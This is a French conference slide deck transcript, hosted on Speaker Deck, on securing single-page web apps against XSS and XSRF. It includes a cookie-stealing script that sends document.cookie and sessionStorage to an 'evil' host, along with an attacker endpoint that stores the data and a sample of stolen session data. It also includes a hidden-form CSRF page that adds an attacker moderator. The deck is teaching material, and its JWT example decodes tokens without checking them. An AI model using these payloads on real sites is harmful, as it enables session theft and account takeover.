Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
Ma SPA n’est pas sécurisée
Search
Philippe CHARRIERE
October 17, 2014
Programming
570
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
Ma SPA n’est pas sécurisée
pour BDX.IO
Philippe CHARRIERE
October 17, 2014
More Decks by Philippe CHARRIERE
See All by Philippe CHARRIERE
The Plan v3 pour BDX.io
k33g
1
210
Le Plan
k33g
0
220
Prog Fonctionnelle 🐑
k33g
1
400
Apéro fonctionnel
k33g
0
130
Scala Facile
k33g
0
300
Golo, the Tiny Language that gives super powers
k33g
0
150
Golo, the Tiny Language that gives super powers
k33g
0
310
Apéro Fonctionnel
k33g
0
280
Programmation fonctionnelle 🐑 en JS
k33g
2
300
Other Decks in Programming
See All in Programming
一人だけ、Kiroが静止する日
hideg
0
140
TiDB Cloudのカスタムコントローラーによるオートスケール対応
takaidohigasi
0
140
ソニーのクラウド共通基盤の変遷とAI時代の開発スタイルに合わせた進化 / The Journey of Sony’s Common Cloud Platform and Its Evolution for AI-Native Development
kenjiyoneyama
0
200
UnityでSystem.Net.WebSocketsなWebSocketサーバが動かないのでUnity Monoのコードを覗いてみた / about implementing websocket server with unity mono
drumath2237
1
510
世界の中心で、AI(App Intents)をさけぶ ー App Intents中心設計の実践ガイド
touyou
0
740
スマートフォンでモールス信号を送受信する 〜スマートフォンのLEDとカメラで作る光通信の設計と実装〜
atsuki_seo
0
210
Everything will be SERVERLESS — 信じて運用した10年の経験値 / Everything Will be Serverless — Lessons Learned from 10 Years of Operational Experience
seike460
PRO
1
640
IBM Bob Dojo #1 仕様駆動開発入門
oniak3ibm
PRO
0
320
Are APIs Still Relevant in the AI Era?
soyuka
0
380
Omarchy Tokyo やると聞いて UMPC 買ってセットアップしてきた
mtsmfm
0
200
Apple Intelligence を用いた個人情報誤送信防止、及びユーザーリクエスト体験の改善について
yukiny
0
260
設計次第でAIコードの読む量は減らせる / designing-for-code-reading
minodriven
30
13k
Featured
See All Featured
ラッコキーワード サービス紹介資料
rakko
1
5.1M
Optimizing for Happiness
mojombo
378
71k
Color Theory Basics | Prateek | Gurzu
gurzu
1
480
Helping Users Find Their Own Way: Creating Modern Search Experiences
danielanewman
31
3.4k
Navigating Team Friction
lara
192
16k
End of SEO as We Know It (SMX Advanced Version)
ipullrank
3
4.4k
Impact Scores and Hybrid Strategies: The future of link building
tamaranovitovic
0
440
Art, The Web, and Tiny UX
lynnandtonic
304
22k
My Coaching Mixtape
mlcsv
0
330
DevOps and Value Stream Thinking: Enabling flow, efficiency and business value
helenjbeal
1
390
Avoiding the “Bad Training, Faster” Trap in the Age of AI
tmiket
0
260
The Pragmatic Product Professional
lauravandoore
37
7.5k
Transcript
Oh! purée! Ma SPA n’est pas sécurisée @k33g_org
Un peu d’histoire
1995 + 10 Création de Javascript 1997 <iframe> IE 3
(4?) 1996 Netscape Navigator 2 avec le support JS 1998 Rhino Engine - Java 1999 ActiveX XMLHTTP IE5 1998 Mozilla Foundation
1995 + 10 Création de Javascript 1997 <iframe> IE 3
(4?) 1996 Netscape Navigator 2 avec le support JS 1998 Rhino Engine - Java 1999 ActiveX XMLHTTP IE5 1998 Mozilla Foundation
1995 + 10 Création de Javascript 1997 <iframe> IE 3
(4?) 1996 Netscape Navigator 2 avec le support JS 1998 Rhino Engine - Java 1999 ActiveX XMLHTTP IE5 1998 Mozilla Foundation
2000 XMLHttpRequest > Gecko 2004 GMail 2004-2005 XMLHttpRequest = Standard
“de fait” 2005 Google Map 2009 Node.js 2008 Google V8 engine
Et pendant ce temps …
Architecture Web Traditionnelle Navigateur Serveur App° Base de données DOM
+ JS View Controller Model SGBDR
2000 XMLHttpRequest > Gecko 2004 GMail 2004-2005 XMLHttpRequest = Standard
“de fait” 2005 Google Map 2009 Node.js 2008 Google V8 engine
2000 XMLHttpRequest > Gecko 2004 GMail 2004-2005 XMLHttpRequest = Standard
“de fait” 2005 Google Map 2009 Node.js 2008 Google V8 engine
Avril 2010 - Steve Jobs “tue” Flash
>> Pléthore de frameworks (javascript) MV*
Architecture (JS) Web Moderne “Serveur d’API” Navigateur Base de données
DOM + JS View Controller Model SGBDR, NoSQL REST APIs
Navigateur DOM + JS Serveur App° View Controller Model Navigateur
DOM + JS View Controller Model “Serveur d’API” REST APIs Avant HTML JSON Après
Votre navigateur est devenu intelligent
… Plus de failles de sécurité
XSS attacks
Injection de code malicieux dans votre application
<script id="tpl" type="tpl"> <% _.each(humans, function(human) { %> <li><%= human.firstName
%> <%= human.lastName %></li> <% }); %> </script>
var HumansView = Backbone.View.extend({ el:"ul", initialize: function() { this.listenTo(this.collection,'all',this.render); },
tpl:_.template($("#tpl").html()), render: function() { this.$el.html(this.tpl({humans:this.collection.toJSON()})); return this; } }); var humans = new Humans(); humansView = new HumansView({collection:humans}); setInterval(function () { humans.fetch(); }, 500);
Méchant hacker: côté serveur app.get("/hacked", function(req, res) { var data
= {cookie:req.param("a"), session:req.param("b")}; db.insert(data, function (err, newDoc) { res.statusCode = 200; console.log(data) res.send({message:";)"}); }); });
<script> var i = new Image(); i.src = "http://evil:3500/hacked/?a=" +
document.cookie + "&b=" + JSON.stringify(sessionStorage); </script> Affiche moi une image ;)
None
{"cookie":"mp_01eb2b950ae09a5fdb15a98dcc5ff20e_mixpa nel={\"distinct_id\": \"146038c6d8a44e-02e41af25-1f114552- fa000-146038c6d8d20b\",\"$initial_referrer\": \"$direct\",\"$initial_referring_domain\": \"$direct \"}; __atuvc=1|27; _ga=GA1.1.683483437.1400928194","session":"{\"userNa me\":\"k33g\",\"userSessionId\":
\"02941660-4b94-11e4-8ef2-8dc92b3e8e97\"} ","_id":"z67TEmfxLjSL84UH"}
Mais il est aussi possible de compromettre le fonctionnement de
l’application
Solution?
To sanitize (assainir)
< ➙ < > ➙ > & ➙ & "
➙ " ' ➙ '
<script id="tpl" type="tpl"> <% _.each(humans, function(human) { %> <li><%- human.firstName
%> <%- human.lastName %></li> <% }); %> </script>
Ça ne sert à rien de le faire au moment
du $post
XSS safe
> Faites le aussi côté serveur
XSRF attacks Cross-site request forgery
Votre application web est trop confiante!
Imaginez 1 site où l’admin peut ajouter des modérateurs …
qui eux- mêmes ont peuvent faire des choses
app.post("/admin/moderators/add/", function(req, res) { if (req.session.applicationUser) { if(req.session.applicationUser.authenticated && req.session.applicationUser.canAddModerator)
{ moderators.push(req.body.username); } else { res.json(401) } } else { res.json(403) } });
<!DOCTYPE html> <html> <head> <title>Hacked</title> </head> <body> <p>Hello! You've been
hacked :)))</p> <script> var form = document.createElement('form'); var input = document.createElement('input'); form.style.display = 'none'; form.setAttribute('method', 'POST'); form.setAttribute('action', 'http://votreapp/admin/moderators/add/'); input.name = 'username'; input.value = 'attacker'; form.appendChild(input); document.getElementsByTagName('body')[0].appendChild(form); form.submit(); </script> </body> http://www.k33g.org/ipad.html
None
None
Vous avez un nouveau modérateur … inconnu!
Solution(s)?
XSRF tokens
XSRF token: aléatoire, “imprévisible” inclus dans les requêtes associé à
une unique session
1. l’utilisateur s’authentifie 2. génération d’un token unique (côté serveur)
3. associé à la session utilisateur 4. embarqué dans la réponse http 5. “inscrit” dans la page 6. transmis à chaque requête pour vérification
app.post("/admin/moderators/add/", function(req, res) { if (req.session.applicationUser) { if(req.session.applicationUser.authenticated && req.session.applicationUser.canAddModerator)
{ moderators.push(req.body.username); //… app.post("/admin/moderators/add/", function(req, res) { if (req.session.applicationUser) { if(req.session.applicationUser.authenticated && req.session.applicationUser.canAddModerator && req.session.applicationUser.token==req.body.token) { req.session.applicationUser.token = uuid.v1(); 0-AVANT 1-Maintenant au login Génération d’un token côté serveur … $.post("/login", {name:"bob",pwd:"***"}) .done(function(data) { $("#token").val(data.token) }); 2-Récupération du token côté page <form action="/admin/moderators/add/" method="POST"> <input type="text" name="username"> <input id="token" type="text" name="token"> <input type="submit" value="Add"> </form> 3-Envoyer le token quand on “POST” 4-vérifier le token (côté serveur) … associé à la session utilisateur
Json Web Tokens
Même principe que les XSRF tokens, mais sans session
app.post("/login", function(req, res) { var user = req.body; if (!(user.name=="bob"
&& user.pwd=="bob")) { res.send(401,"go away!"); return; } var applicationUser = { name: user.name, authenticated: true, canAddModerator: true } // on envoie les informations à l'intérieur du token var token = jwt.sign( applicationUser, "secret", { expiresInMinutes: 60*5 }); res.send({ token: token }); }); utilisation de jsonwebtoken https://www.npmjs.org/package/jsonwebtoken Génération d’un token côté serveur …
Côté client $.post("/login", {name:"bob",pwd:"***"}) .done(function(data) { window.localStorage.setItem('token', data.token) }); app.get('/api/try',function(req,
res){ var decoded = jwt.decode(req.headers.token, "secret"); if(decoded) { res.json({message:"yesss!"}) } else { res.send(401,"go away!"); return; } }); Vérifier le token côté serveur …
None
None
ça fonctionne très bien avec CORS (Cross-origin resource sharing)
Sur de vieux navigateurs, cela va être plus difficile
Donc XSS attacks XSRF attacks mais aussi JSON hijacking Usurpation
d’identité …
Moralité réfléchissez bien à vos implémentations faites le dès le
début essayez de hacker votre app ne focalisez pas uniquement sur le js
Merci https://github.com/k33g/ma-spa-nest-pas-securisee